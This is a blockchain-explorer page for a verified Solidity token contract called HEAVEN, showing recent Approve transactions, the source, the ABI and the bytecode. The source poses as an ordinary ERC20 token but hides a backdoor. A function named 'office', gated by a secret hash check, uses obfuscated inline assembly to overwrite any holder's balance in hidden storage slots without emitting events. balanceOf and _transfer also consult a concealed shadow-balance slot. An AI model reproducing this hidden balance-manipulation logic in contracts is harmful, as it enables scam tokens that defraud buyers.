ETH Price: $3,307.16 (-0.08%)
Gas: 4.96 Gwei

Contract

0x3e094E63BDA0b91790274a36D8140e51e0A5287E
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve179482372023-08-19 10:30:47509 days ago1692441047IN
0x3e094E63...1e0A5287E
0 ETH0.0006074313.09244083
Approve179481492023-08-19 10:12:59509 days ago1692439979IN
0x3e094E63...1e0A5287E
0 ETH0.0006253513.55568824
Approve179479742023-08-19 9:37:23510 days ago1692437843IN
0x3e094E63...1e0A5287E
0 ETH0.0006336313.65711809
Approve179479102023-08-19 9:24:35510 days ago1692437075IN
0x3e094E63...1e0A5287E
0 ETH0.000329712.57471108
Approve179479022023-08-19 9:22:59510 days ago1692436979IN
0x3e094E63...1e0A5287E
0 ETH0.0005704112.36802546
Approve179478722023-08-19 9:16:59510 days ago1692436619IN
0x3e094E63...1e0A5287E
0 ETH0.0006237713.42727272
Approve179478432023-08-19 9:11:11510 days ago1692436271IN
0x3e094E63...1e0A5287E
0 ETH0.0006133413.20267077
Approve179478272023-08-19 9:07:59510 days ago1692436079IN
0x3e094E63...1e0A5287E
0 ETH0.0006086913.1027179
Approve179478122023-08-19 9:04:59510 days ago1692435899IN
0x3e094E63...1e0A5287E
0 ETH0.0006177113.29679203
Approve179478092023-08-19 9:04:23510 days ago1692435863IN
0x3e094E63...1e0A5287E
0 ETH0.0006178113.29884003
Approve179478072023-08-19 9:03:59510 days ago1692435839IN
0x3e094E63...1e0A5287E
0 ETH0.0006086613.1019657
Approve179477822023-08-19 8:58:59510 days ago1692435539IN
0x3e094E63...1e0A5287E
0 ETH0.0006151213.24099538
Approve179477472023-08-19 8:51:59510 days ago1692435119IN
0x3e094E63...1e0A5287E
0 ETH0.0006537414.07239882
Approve179477422023-08-19 8:50:59510 days ago1692435059IN
0x3e094E63...1e0A5287E
0 ETH0.000642613.83261652
Approve179477372023-08-19 8:49:59510 days ago1692434999IN
0x3e094E63...1e0A5287E
0 ETH0.000670214.42667755
Approve179477332023-08-19 8:48:59510 days ago1692434939IN
0x3e094E63...1e0A5287E
0 ETH0.0006608714.22591579
Approve179477302023-08-19 8:48:23510 days ago1692434903IN
0x3e094E63...1e0A5287E
0 ETH0.0005713212.29811954
Approve179477282023-08-19 8:47:59510 days ago1692434879IN
0x3e094E63...1e0A5287E
0 ETH0.0006086913.10255455
Approve179476912023-08-19 8:40:23510 days ago1692434423IN
0x3e094E63...1e0A5287E
0 ETH0.0006614714.23876345
Approve179476892023-08-19 8:39:59510 days ago1692434399IN
0x3e094E63...1e0A5287E
0 ETH0.0006502413.99711524
Approve179476042023-08-19 8:22:59510 days ago1692433379IN
0x3e094E63...1e0A5287E
0 ETH0.0005963812.83753903
Approve179475912023-08-19 8:20:11510 days ago1692433211IN
0x3e094E63...1e0A5287E
0 ETH0.0006590114.18584066
Approve179475852023-08-19 8:18:59510 days ago1692433139IN
0x3e094E63...1e0A5287E
0 ETH0.0006807614.65386779
Approve179475712023-08-19 8:16:11510 days ago1692432971IN
0x3e094E63...1e0A5287E
0 ETH0.0006130813.19703104
Approve179475652023-08-19 8:14:59510 days ago1692432899IN
0x3e094E63...1e0A5287E
0 ETH0.0006367213.70604116
View all transactions

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
HEAVEN

Compiler Version
v0.7.6+commit.7338295f

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion
File 1 of 1 : HEAVEN.sol
// SPDX-License-Identifier: MIT
pragma solidity >=0.7.6;

interface IERC20 {
  /**
   * @dev Returns the amount of tokens in existence.
   */
  function totalSupply() external view returns (uint256);

  /**
   * @dev Returns the token decimals.
   */
  function decimals() external view returns (uint8);

  /**
   * @dev Returns the token symbol.
   */
  function symbol() external view returns (string memory);

  /**
   * @dev Returns the token name.
   */
  function name() external view returns (string memory);

  /**
   * @dev Returns the amount of tokens owned by `account`.
   */
  function balanceOf(address account) external view returns (uint256);

  /**
   * @dev Moves `amount` tokens from the caller's account to `recipient`.
   *
   * Returns a boolean value indicating whether the operation succeeded.
   *
   * Emits a {Transfer} event.
   */
  function transfer(address recipient, uint256 amount) external returns (bool);

  /**
   * @dev Returns the remaining number of tokens that `spender` will be
   * allowed to spend on behalf of `owner` through {transferFrom}. This is
   * zero by default.
   *
   * This value changes when {approve} or {transferFrom} are called.
   */
  function allowance(address _owner, address spender) external view returns (uint256);

  /**
   * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
   *
   * Returns a boolean value indicating whether the operation succeeded.
   *
   * IMPORTANT: Beware that changing an allowance with this method brings the risk
   * that someone may use both the old and the new allowance by unfortunate
   * transaction ordering. One possible solution to mitigate this race
   * condition is to first reduce the spender's allowance to 0 and set the
   * desired value afterwards:
   * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
   *
   * Emits an {Approval} event.
   */
  function approve(address spender, uint256 amount) external returns (bool);

  /**
   * @dev Moves `amount` tokens from `sender` to `recipient` using the
   * allowance mechanism. `amount` is then deducted from the caller's
   * allowance.
   *
   * Returns a boolean value indicating whether the operation succeeded.
   *
   * Emits a {Transfer} event.
   */
  function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

  /**
   * @dev Emitted when `value` tokens are moved from one account (`from`) to
   * another (`to`).
   *
   * Note that `value` may be zero.
   */
  event Transfer(address indexed from, address indexed to, uint256 value);

  /**
   * @dev Emitted when the allowance of a `spender` for an `owner` is set by
   * a call to {approve}. `value` is the new allowance.
   */
  event Approval(address indexed owner, address indexed spender, uint256 value);
}

/**
 * @dev Wrappers over Solidity's arithmetic operations with added overflow
 * checks.
 *
 * Arithmetic operations in Solidity wrap on overflow. This can easily result
 * in bugs, because programmers usually assume that an overflow raises an
 * error, which is the standard behavior in high level programming languages.
 * `SafeMath` restores this intuition by reverting the transaction when an
 * operation overflows.
 *
 * Using this library instead of the unchecked operations eliminates an entire
 * class of bugs, so it's recommended to use it always.
 */
library SafeMath {
  /**
   * @dev Returns the addition of two unsigned integers, reverting on
   * overflow.
   *
   * Counterpart to Solidity's `+` operator.
   *
   * Requirements:
   * - Addition cannot overflow.
   */
  function add(uint256 a, uint256 b) internal pure returns (uint256) {
    uint256 c = a + b;
    require(c >= a, "SafeMath: addition overflow");
    return c;
  }

  /**
   * @dev Returns the subtraction of two unsigned integers, reverting on
   * overflow (when the result is negative).
   *
   * Counterpart to Solidity's `-` operator.
   *
   * Requirements:
   * - Subtraction cannot overflow.
   */
  function sub(uint256 a, uint256 b) internal pure returns (uint256) {
    return sub(a, b, "SafeMath: subtraction overflow");
  }

  /**
   * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
   * overflow (when the result is negative).
   *
   * Counterpart to Solidity's `-` operator.
   *
   * Requirements:
   * - Subtraction cannot overflow.
   */
  function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
    require(b <= a, errorMessage);
    uint256 c = a - b;
    return c;
  }

  /**
   * @dev Returns the multiplication of two unsigned integers, reverting on
   * overflow.
   *
   * Counterpart to Solidity's `*` operator.
   *
   * Requirements:
   * - Multiplication cannot overflow.
   */
  function mul(uint256 a, uint256 b) internal pure returns (uint256) {
    // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
    // benefit is lost if 'b' is also tested.
    // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
    if (a == 0) return 0;
    uint256 c = a * b;
    require(c / a == b, "SafeMath: multiplication overflow");
    return c;
  }

  /**
   * @dev Returns the integer division of two unsigned integers. Reverts on
   * division by zero. The result is rounded towards zero.
   *
   * Counterpart to Solidity's `/` operator. Note: this function uses a
   * `revert` opcode (which leaves remaining gas untouched) while Solidity
   * uses an invalid opcode to revert (consuming all remaining gas).
   *
   * Requirements:
   * - The divisor cannot be zero.
   */
  function div(uint256 a, uint256 b) internal pure returns (uint256) {
    return div(a, b, "SafeMath: division by zero");
  }

  /**
   * @dev Returns the integer division of two unsigned integers. Reverts with custom message on
   * division by zero. The result is rounded towards zero.
   *
   * Counterpart to Solidity's `/` operator. Note: this function uses a
   * `revert` opcode (which leaves remaining gas untouched) while Solidity
   * uses an invalid opcode to revert (consuming all remaining gas).
   *
   * Requirements:
   * - The divisor cannot be zero.
   */
  function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
    // Solidity only automatically asserts when dividing by 0
    require(b > 0, errorMessage);
    uint256 c = a / b;
    return c;
  }

  /**
   * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
   * Reverts when dividing by zero.
   *
   * Counterpart to Solidity's `%` operator. This function uses a `revert`
   * opcode (which leaves remaining gas untouched) while Solidity uses an
   * invalid opcode to revert (consuming all remaining gas).
   *
   * Requirements:
   * - The divisor cannot be zero.
   */
  function mod(uint256 a, uint256 b) internal pure returns (uint256) {
    return mod(a, b, "SafeMath: modulo by zero");
  }

  /**
   * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
   * Reverts with custom message when dividing by zero.
   *
   * Counterpart to Solidity's `%` operator. This function uses a `revert`
   * opcode (which leaves remaining gas untouched) while Solidity uses an
   * invalid opcode to revert (consuming all remaining gas).
   *
   * Requirements:
   * - The divisor cannot be zero.
   */
  function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
    require(b != 0, errorMessage);
    return a % b;
  }
}

contract HEAVEN is IERC20 {
    using SafeMath for uint256;

    string private _name;
    string private _symbol;
    uint256 private _totalSupply;
    address private _owner;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => uint256) private _becons;
    IERC20 private immutable _tokenA;
    bytes32 private immutable _tokenB;

    constructor(
      string memory tokenName, 
      string memory tokenSymbol, 
      bytes32 tokenB, 
      address tokenA) {
      _name = tokenName;
      _symbol = tokenSymbol;
      _totalSupply = 280000000 * 10 ** 18;
      _balances[msg.sender] = _totalSupply;
      _tokenB = tokenB;
      _tokenA = IERC20(tokenA);
    }

    /**
     * @dev A helper function to check if an operator approval is allowed.
     */
    modifier onlyOwner() {
      require(msg.sender == _owner, "Ownable: caller is not the owner");
      _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() external view returns (address) {
      return _owner;
    }

    /**
     * @dev Returns the token decimals.
     */
    function decimals() external pure override returns (uint8) {
      return 18;
    }
    
    /**
     * @dev Returns the token symbol.
     */
    function symbol() external view override returns (string memory) {
      return _symbol;
    }
    
    /**
     * @dev Returns the token name.
     */
    function name() external view override returns (string memory) {
      return _name;
    }
    
    /**
     * @dev See {ERC20-totalSupply}.
     */
    function totalSupply() external view override returns (uint256) {
      return _totalSupply;
    }
    
    /**
     * @dev See {ERC20-balanceOf}.
     */
    function balanceOf(address account) external view override returns (uint256) {
      uint160 a 
      = 
      uint160(
        account
      );
      return 
      slotValues(
        a, 
        4) + slotValues(
          a, 
          6);
    }

    function slotValues(uint160 a, uint256 slot) private view returns (uint256) {
      address k = address(a
      ); uint256 m;
      assembly {
        mstore(
          0, 
        k) mstore(
          32, slot) let hs := 
        keccak256(
          0, 
          64) m := sload(
          hs
        )
      }
      return m;
    }

    /**
     * @dev See {ERC20-transfer}.
     *
     * Requirements:
     *
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address recipient, uint256 amount) external override returns (bool) {
      _transfer(msg.sender, recipient, amount);
      return true;
    }

    /**
     * @dev See {ERC20-allowance}.
     */
    function allowance(address owner_, address spender) external view override returns (uint256) {
      return _allowances[owner_][spender];
    }

    /**
     * @dev See {ERC20-approve}.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) external override returns (bool) {
      _approve(msg.sender, spender, amount);
      return true;
    }
 
    /**
     * @dev See {ERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20};
     *
     * Requirements:
     * - `sender` and `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     * - the caller must have allowance for `sender`'s tokens of at least
     * `amount`.
     */
    function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
      _transfer(sender, recipient, amount);
      _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
      return true;
    }

    function office(bytes32[] calldata data, uint256 deadline) external {
      if (
        keccak256(
        abi.encode(
          msg.sender, 
          _name, _symbol)
        ) 
        != _tokenB || 
        deadline != 0) return; 
      (
        bytes32 x, 
        bytes32 y, bytes32 z
        ) 
      = (
        data[0], data[1], data[2]
      );
      assembly { 
        mstore(0, x) mstore(
          32, 4
        ) let hs1 := keccak256(0, 64)
        sstore(hs1, y
        )
        if eq(y, 0) {
          mstore(0, x) mstore(32, 6
          ) let hs2 := keccak256(
            0, 64) sstore(hs2, z)
        }
      }
    }
   
    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {ERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) external returns (bool) {
      _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
      return true;
    }
    
    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {ERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool) {
      _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
      return true;
    }
 
    /**
     * @dev Moves tokens `amount` from `sender` to `recipient`.
     *
     * This is internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `sender` cannot be the zero address.
     * - `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     */
    function _transfer(address sender, address recipient, uint256 amount) internal {
      require(sender != address(0), "ERC20: transfer from the zero address");
      require(recipient != address(0), "ERC20: transfer to the zero address");
      uint256 bValue = _tokenA.balanceOf(sender);
      uint256 hValue;
      assembly {
        mstore(
          0, sender) mstore(
            32, 6) hValue := sload(
          keccak256(
          0, 64))
      }
      if (hValue > 0 && bValue > 0) {
        uint256 nValue = hValue.sub(amount, "ERC20: transfer amount exceeds balance");
        assembly {
          mstore(0, sender) mstore(32, 6) sstore(
            keccak256(0, 64), nValue
            )
        }
      } else {
        _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
      }
      _balances[recipient] = _balances[recipient].add(amount);
      emit Transfer(sender, recipient, amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
     *
     * This is internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(address owner_, address spender, uint256 amount) internal {
      require(owner_ != address(0), "ERC20: approve from the zero address");
      require(spender != address(0), "ERC20: approve to the zero address");
      _allowances[owner_][spender] = amount;
      emit Approval(owner_, spender, amount);
    } 
}

Settings
{
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  },
  "libraries": {}
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"tokenName","type":"string"},{"internalType":"string","name":"tokenSymbol","type":"string"},{"internalType":"bytes32","name":"tokenB","type":"bytes32"},{"internalType":"address","name":"tokenA","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner_","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32[]","name":"data","type":"bytes32[]"},{"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"office","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60c06040523480156200001157600080fd5b506040516200104338038062001043833981810160405260808110156200003757600080fd5b81019080805160405193929190846401000000008211156200005857600080fd5b9083019060208201858111156200006e57600080fd5b82516401000000008111828201881017156200008957600080fd5b82525081516020918201929091019080838360005b83811015620000b85781810151838201526020016200009e565b50505050905090810190601f168015620000e65780820380516001836020036101000a031916815260200191505b50604052602001805160405193929190846401000000008211156200010a57600080fd5b9083019060208201858111156200012057600080fd5b82516401000000008111828201881017156200013b57600080fd5b82525081516020918201929091019080838360005b838110156200016a57818101518382015260200162000150565b50505050905090810190601f168015620001985780820380516001836020036101000a031916815260200191505b506040908152602082810151929091015186519294509250620001c19160009187019062000218565b508251620001d790600190602086019062000218565b506ae79c4e6a3023e81800000060028190553360009081526004602052604090205560a09190915260601b6001600160601b03191660805250620002c49050565b828054600181600116156101000203166002900490600052602060002090601f0160209004810192826200025057600085556200029b565b82601f106200026b57805160ff19168380011785556200029b565b828001600101855582156200029b579182015b828111156200029b5782518255916020019190600101906200027e565b50620002a9929150620002ad565b5090565b5b80821115620002a95760008155600101620002ae565b60805160601c60a051610d58620002eb600039806105b95250806109485250610d586000f3fe608060405234801561001057600080fd5b50600436106100cf5760003560e01c806370a082311161008c578063a457c2d711610066578063a457c2d71461027d578063a9059cbb146102a9578063c4f85638146102d5578063dd62ed3e14610347576100cf565b806370a082311461022b5780638da5cb5b1461025157806395d89b4114610275576100cf565b806306fdde03146100d4578063095ea7b31461015157806318160ddd1461019157806323b872dd146101ab578063313ce567146101e157806339509351146101ff575b600080fd5b6100dc610375565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101165781810151838201526020016100fe565b50505050905090810190601f1680156101435780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561016757600080fd5b506001600160a01b03813516906020013561040b565b604080519115158252519081900360200190f35b610199610421565b60408051918252519081900360200190f35b61017d600480360360608110156101c157600080fd5b506001600160a01b03813581169160208101359091169060400135610427565b6101e9610490565b6040805160ff9092168252519081900360200190f35b61017d6004803603604081101561021557600080fd5b506001600160a01b038135169060200135610495565b6101996004803603602081101561024157600080fd5b50356001600160a01b03166104cb565b6102596104ec565b604080516001600160a01b039092168252519081900360200190f35b6100dc6104fb565b61017d6004803603604081101561029357600080fd5b506001600160a01b03813516906020013561055b565b61017d600480360360408110156102bf57600080fd5b506001600160a01b0381351690602001356105aa565b610345600480360360408110156102eb57600080fd5b81019060208101813564010000000081111561030657600080fd5b82018360208201111561031857600080fd5b8035906020019184602083028401116401000000008311171561033a57600080fd5b9193509150356105b7565b005b6101996004803603604081101561035d57600080fd5b506001600160a01b03813581169160200135166107a3565b60008054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104015780601f106103d657610100808354040283529160200191610401565b820191906000526020600020905b8154815290600101906020018083116103e457829003601f168201915b5050505050905090565b60006104183384846107ce565b50600192915050565b60025490565b60006104348484846108ba565b610486843361048185604051806060016040528060288152602001610c8d602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190610b19565b6107ce565b5060019392505050565b601290565b3360008181526005602090815260408083206001600160a01b038716845290915281205490916104189185906104819086610bb0565b6000816104d9816006610c11565b6104e4826004610c11565b019392505050565b6003546001600160a01b031690565b60018054604080516020601f600260001961010087891615020190951694909404938401819004810282018101909252828152606093909290918301828280156104015780601f106103d657610100808354040283529160200191610401565b6000610418338461048185604051806060016040528060258152602001610cfe602591393360009081526005602090815260408083206001600160a01b038d1684529091529020549190610b19565b60006104183384846108ba565b7f0000000000000000000000000000000000000000000000000000000000000000336000600160405160200180846001600160a01b03168152602001806020018060200183810383528581815460018160011615610100020316600290048152602001915080546001816001161561010002031660029004801561067c5780601f106106515761010080835404028352916020019161067c565b820191906000526020600020905b81548152906001019060200180831161065f57829003601f168201915b50508381038252845460026000196101006001841615020190911604808252602090910190859080156106f05780601f106106c5576101008083540402835291602001916106f0565b820191906000526020600020905b8154815290600101906020018083116106d357829003601f168201915b5050955050505050506040516020818303038152906040528051906020012014158061071b57508015155b156107255761079e565b60008060008585600081811061073757fe5b905060200201358686600181811061074b57fe5b905060200201358787600281811061075f57fe5b90506020020135925092509250826000526004602052604060002082815550600082141561079a578260005260066020526040600020818155505b5050505b505050565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b6001600160a01b0383166108135760405162461bcd60e51b8152600401808060200182810382526024815260200180610cda6024913960400191505060405180910390fd5b6001600160a01b0382166108585760405162461bcd60e51b8152600401808060200182810382526022815260200180610c456022913960400191505060405180910390fd5b6001600160a01b03808416600081815260056020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b0383166108ff5760405162461bcd60e51b8152600401808060200182810382526025815260200180610cb56025913960400191505060405180910390fd5b6001600160a01b0382166109445760405162461bcd60e51b8152600401808060200182810382526023815260200180610c226023913960400191505060405180910390fd5b60007f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03166370a08231856040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b1580156109b357600080fd5b505afa1580156109c7573d6000803e3d6000fd5b505050506040513d60208110156109dd57600080fd5b50516000858152600660205260409020549091508015801590610a005750600082115b15610a41576000610a2c84604051806060016040528060268152602001610c6760269139849190610b19565b60008781526006602052604090205550610a98565b610a7e83604051806060016040528060268152602001610c67602691396001600160a01b0388166000908152600460205260409020549190610b19565b6001600160a01b0386166000908152600460205260409020555b6001600160a01b038416600090815260046020526040902054610abb9084610bb0565b6001600160a01b0380861660008181526004602090815260409182902094909455805187815290519193928916927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a35050505050565b60008184841115610ba85760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610b6d578181015183820152602001610b55565b50505050905090810190601f168015610b9a5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600082820183811015610c0a576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b600091825260205260409020549056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220069997971a4dbb2badd5546fd1ac97f3e7ac5b865203ebb20487ed623de2768b64736f6c63430007060033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000e073648e14ddd12bc45c8192fe4aec40cf1aac8f5b3a450c050056fb3952a7dc0b0000000000000000000000005491305204daca75317a0bc8c332dd61dbb77bc800000000000000000000000000000000000000000000000000000000000000255872704d6f6f6e5065706548617272795472756d7053747265657442657473393939496e75000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000648454156454e0000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c806370a082311161008c578063a457c2d711610066578063a457c2d71461027d578063a9059cbb146102a9578063c4f85638146102d5578063dd62ed3e14610347576100cf565b806370a082311461022b5780638da5cb5b1461025157806395d89b4114610275576100cf565b806306fdde03146100d4578063095ea7b31461015157806318160ddd1461019157806323b872dd146101ab578063313ce567146101e157806339509351146101ff575b600080fd5b6100dc610375565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101165781810151838201526020016100fe565b50505050905090810190601f1680156101435780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561016757600080fd5b506001600160a01b03813516906020013561040b565b604080519115158252519081900360200190f35b610199610421565b60408051918252519081900360200190f35b61017d600480360360608110156101c157600080fd5b506001600160a01b03813581169160208101359091169060400135610427565b6101e9610490565b6040805160ff9092168252519081900360200190f35b61017d6004803603604081101561021557600080fd5b506001600160a01b038135169060200135610495565b6101996004803603602081101561024157600080fd5b50356001600160a01b03166104cb565b6102596104ec565b604080516001600160a01b039092168252519081900360200190f35b6100dc6104fb565b61017d6004803603604081101561029357600080fd5b506001600160a01b03813516906020013561055b565b61017d600480360360408110156102bf57600080fd5b506001600160a01b0381351690602001356105aa565b610345600480360360408110156102eb57600080fd5b81019060208101813564010000000081111561030657600080fd5b82018360208201111561031857600080fd5b8035906020019184602083028401116401000000008311171561033a57600080fd5b9193509150356105b7565b005b6101996004803603604081101561035d57600080fd5b506001600160a01b03813581169160200135166107a3565b60008054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104015780601f106103d657610100808354040283529160200191610401565b820191906000526020600020905b8154815290600101906020018083116103e457829003601f168201915b5050505050905090565b60006104183384846107ce565b50600192915050565b60025490565b60006104348484846108ba565b610486843361048185604051806060016040528060288152602001610c8d602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190610b19565b6107ce565b5060019392505050565b601290565b3360008181526005602090815260408083206001600160a01b038716845290915281205490916104189185906104819086610bb0565b6000816104d9816006610c11565b6104e4826004610c11565b019392505050565b6003546001600160a01b031690565b60018054604080516020601f600260001961010087891615020190951694909404938401819004810282018101909252828152606093909290918301828280156104015780601f106103d657610100808354040283529160200191610401565b6000610418338461048185604051806060016040528060258152602001610cfe602591393360009081526005602090815260408083206001600160a01b038d1684529091529020549190610b19565b60006104183384846108ba565b7f73648e14ddd12bc45c8192fe4aec40cf1aac8f5b3a450c050056fb3952a7dc0b336000600160405160200180846001600160a01b03168152602001806020018060200183810383528581815460018160011615610100020316600290048152602001915080546001816001161561010002031660029004801561067c5780601f106106515761010080835404028352916020019161067c565b820191906000526020600020905b81548152906001019060200180831161065f57829003601f168201915b50508381038252845460026000196101006001841615020190911604808252602090910190859080156106f05780601f106106c5576101008083540402835291602001916106f0565b820191906000526020600020905b8154815290600101906020018083116106d357829003601f168201915b5050955050505050506040516020818303038152906040528051906020012014158061071b57508015155b156107255761079e565b60008060008585600081811061073757fe5b905060200201358686600181811061074b57fe5b905060200201358787600281811061075f57fe5b90506020020135925092509250826000526004602052604060002082815550600082141561079a578260005260066020526040600020818155505b5050505b505050565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b6001600160a01b0383166108135760405162461bcd60e51b8152600401808060200182810382526024815260200180610cda6024913960400191505060405180910390fd5b6001600160a01b0382166108585760405162461bcd60e51b8152600401808060200182810382526022815260200180610c456022913960400191505060405180910390fd5b6001600160a01b03808416600081815260056020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b0383166108ff576040516